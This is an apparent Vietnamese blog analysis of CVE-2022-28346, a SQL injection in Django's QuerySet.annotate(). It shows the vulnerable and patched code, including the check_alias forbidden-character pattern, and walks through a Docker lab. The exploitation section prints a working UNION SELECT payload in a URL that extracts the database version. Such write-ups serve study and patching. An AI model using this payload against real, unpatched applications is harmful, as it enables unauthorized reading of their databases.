image.png

Giới thiệu

Ngày 12 tháng 4 năm 2022 đội ngũ phát triển Django đã công bố lỗ hổng SQL injection trong các phiên bản Django sau:

  • 2.2.x trước 2.2.28
  • 3.2.x trước 3.2.13
  • 4.0.x trước 4.0.4

Cụ thể thì lỗ hổng tồn tại trong các chức năng

  • QuerySet.annotate()
  • QuerySet.aggregate()

Lỗ hổng được đánh giá là nghiêm trọng, ảnh hưởng đến tính bí mật, toàn vẹn và sẵn dùng với mức điểm 9.8 trên thang 10.

CVE - ID CVE - 2022 - 28346
Severity 9.8 - CRITICAL
CWE - ID CWE - 89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)
Vulnerability Publication Date 12/4/2022
Affected Software Django version 2.2.x < 2.2.28, 3.2.x < 3.2.13 and 4.0.x < 4.0.4

Phân tích lỗ hổng

QuerySet là gì?

Như đã đề cập ở trên lỗ hổng này tồn tại trong các chức năng QuerySet.annotate()QuerySet.aggregate() của Django version 2.2.x < 2.2.28, 3.2.x < 3.2.13 and 4.0.x < 4.0.4

Trước khi đi vào phân tích chi tiết tại sao các chức năng QuerySet.annotate/QuerySet.aggregate lại tồn tại lỗ hổng ta phải tìm hiểu QuerySet là gì?

A QuerySet is a collection of data from a database.

A QuerySet is built up as a list of objects.

QuerySets makes it easier to get the data you actually need, by allowing you to filter and order the data.

Hiểu đơn giản trong Django QuerySet dùng để truy vấn dữ liệu trong cơ sở dữ liệu, người dùng có thể sắp xếp, lọc mà không làm ảnh hưởng đến dữ liệu ban đầu.

Ví dụ:

Chúng ta có 1 bảng Members như sau:

class Members(models.Model):
    firstname = models.TextField()
    lastname = models.TextField()
    def __str__(self):
        return self.lastname
id firstname lastname
1 Pham Long
2 Quyen Son
3 Tran Linh
4 Dinh Duong
5 Do Dat

Với câu lệnh

mydata = Members.objects.all()

Ta đã có một QuerySet được chứa bên trong mydata như sau.

<QuerySet [
  <Members: Long>,
  <Members: Son>,
  <Members: Linh>,
  <Members: Duong>,
  <Members: Dat>
]>

QuerySet.annotate(self, *args, **kwargs)

Giới thiệu QuerySet.annotate()

annotate() là một chức năng có thể sử dụng với QuerySet để tạo 1 trường dữ liệu dẫn xuất bổ sung cho từng đối tượng khi được trích xuất.

Ví dụ: giả sử chúng ta có các model ArticleCategory trong một ứng dụng blog:

# blog/models.py
from django.db import models


class Category(models.Model):
    title = models.Charfield(max_length=255)


class Article(models.Model):
    title = models.CharField(max_length=255)
    text = models.CharField(max_length=255)
    category = models.ForeignKey(Category)
    published = models.BooleanField(default=False)
    read_min = models.IntegerField()

Nếu bạn muốn đếm số lượng bài báo trong mỗi danh mục. Tuy nhiên, bạn chỉ muốn đếm các đối tượng phù hợp với một điều kiện nào đó, ví dụ chỉ đếm các bài báo đã được xuất bản.

Để làm điều này, bạn có thể sử dụng Q objects và Count trong mệnh đề annotation() như sau:

from django.db.models import Q
from django.db.models import Count

from blog.models import Category


def get_categories():
    filters = Q(published=True)
    return Category.objects.all().annotate(Count('article', filters))


categories = get_categories()
print(categories[0].article__count)

Mỗi category item được trả lại trong QuerySet bây giờ sẽ có thêm một thuộc tính với tên mặc định là article__count.

Bạn cũng có thể thay đổi tên mặc định của thuộc tính này bằng cách chuyền Count vào chú thích dưới dạng đối số từ khóa với tên mong muốn của bạn.

Ví dụ: bạn có thể viết annotate(num_articles=Count('article', filters))nếu bạn muốn thuộc tính được thêm có tên là num_articles.

Phân tích lỗ hổng trong QuerySet.annotate()

Khi sử dụng chức năng QuerySet.annotate()ứng dụng sẽ gọi trực tiếp đến hàm annotate(self, *args, **kwargs) được định nghĩa trong file django/db/models/query.py

    def annotate(self, *args, **kwargs):
        """
        Return a query set in which the returned objects have been annotated
        with extra data or aggregations.
        """
        self._not_support_combined_queries('annotate')
        return self._annotate(args, kwargs, select=True)

Ta có thể thấy hàm annotate thực hiện thêm 1 trường dữ liệu dẫn xuất với tên được truyền vào mà không hề kiểm tra tên trường truyền vào hợp lệ hay không. Điều này dẫn tới chúng ta có thể inject câu lệnh SQL vào nếu kiểm soát được tên trường dẫn xuất truyền vào.

    def add_annotation(self, annotation, alias, is_summary=False, select=True):
        """Add a single annotation expression to the Query."""
        annotation = annotation.resolve_expression(self, allow_joins=True, reuse=None,
                                                   summarize=is_summary)
        if select:
            self.append_annotation_mask([alias])
        else:
            self.set_annotation_mask(set(self.annotation_select).difference({alias}))
        self.annotations[alias] = annotation

Ở phiên bản 4.0.4 đội ngũ phát triển đã cập nhật thêm hàm check_alias để kiểm tra tên của trường dẫn xuất có hợp lệ hay không.

    def add_annotation(self, annotation, alias, is_summary=False, select=True):
        """Add a single annotation expression to the Query."""
        self.check_alias(alias)
        annotation = annotation.resolve_expression(
            self, allow_joins=True, reuse=None, summarize=is_summary
        )
        if select:
            self.append_annotation_mask([alias])
        else:
            self.set_annotation_mask(set(self.annotation_select).difference({alias}))
        self.annotations[alias] = annotation

Nội dung hàm check_alias như sau:

FORBIDDEN_ALIAS_PATTERN = _lazy_re_compile(r"['`\"\]\[;\s]|--|/\*|\*/")
    def check_alias(self, alias):
        if FORBIDDEN_ALIAS_PATTERN.search(alias):
            raise ValueError(
                "Column aliases cannot contain whitespace characters, quotation marks, "
                "semicolons, or SQL comments."
            )

Demo

Môi trường: Docker & Docker-compose

Setup

  1. git clone https://github.com/pthlong9991/CVE-2022-28346.git

  2. Run ./setup.sh for initial setup

  3. sudo docker-compose up --build

  4. Truy nhập vào docker image để khởi tạo cơ sở dữ liệu bằng câu lệnh

    sudo docker exec -it cve-2022-28346_web /bin/bash

  5. Và chạy các lệnh sau:

    python manage.py makemigrations cve202228346

    python manage.py migrate

  6. Truy cập http://localhost:8000/load_example_data để load sample data

  7. Đường dẫn chứa vulnerable param (field): http://localhost:8000/users/?field=Num%20articles

Kết quả sau kkhi cài đặt xong môi trường

image.png

Khai thác

Để có thể khai thác được lỗ hổng này chúng ta phải biết được tên bảng của câu truy vấn hiện tại + kiểm soát được tham số dùng để đặt tên trường dẫn xuất được tạo ra từ chức năng QuerySet.annotate()

Ở đây môi trường config debug=true + để cho người dùng có thể control được biến field là tên của trường dẫn xuất được tạo ra.

Khi ta thêm dấu nháy kép " vào sau giá trị của biến field thì ta nhận được kết quả sau

image.png

Ta có thể dễ dàng thấy được tên của bảng trong truy vấn hiện tại là "cve202228346_category""cve202228346_article"

Câu lệnh truy vấn hiện tại là:

SELECT "cve202228346_category"."id", "cve202228346_category"."title", COUNT("cve202228346_article"."id") AS "Num articles" FROM "cve202228346_category"."id" LEFT OUTER JOIN "cve202228346_article" ON {"cve202228346_category"."id" = "cve202228346_article"."category_id"} GROUP BY "cve202228346_category"."id"

Việc của chúng ta phải làm inject vào biến field sao cho hoàn thành câu lệnh hiện tại sau đó inject câu lệnh khai thác. Với trường hợp này ta có thể sử dụng UNION SELECT để khai thác.

Payload sẽ sau:

http://localhost:8000/catrgory/?field=Num articles" FROM "cve202228346_category"."id" LEFT OUTER JOIN "cve202228346_article" ON {"cve202228346_category"."id" = "cve202228346_article"."category_id"} GROUP BY "cve202228346_category"."id" UNION SELECT null,version(),null --

Kết quả khai thác:

image.png

Phòng tránh

Cách phòng tránh hiệu quả nhất là cập nhật lên phiên bản django mới nhất.

Reference

https://able.bio/dfernsby/django-queryset-annotations-with-conditions--19d4cb4b https://docs.djangoproject.com/en/4.0/ref/models/querysets/#django.db.models.query.QuerySet.annotate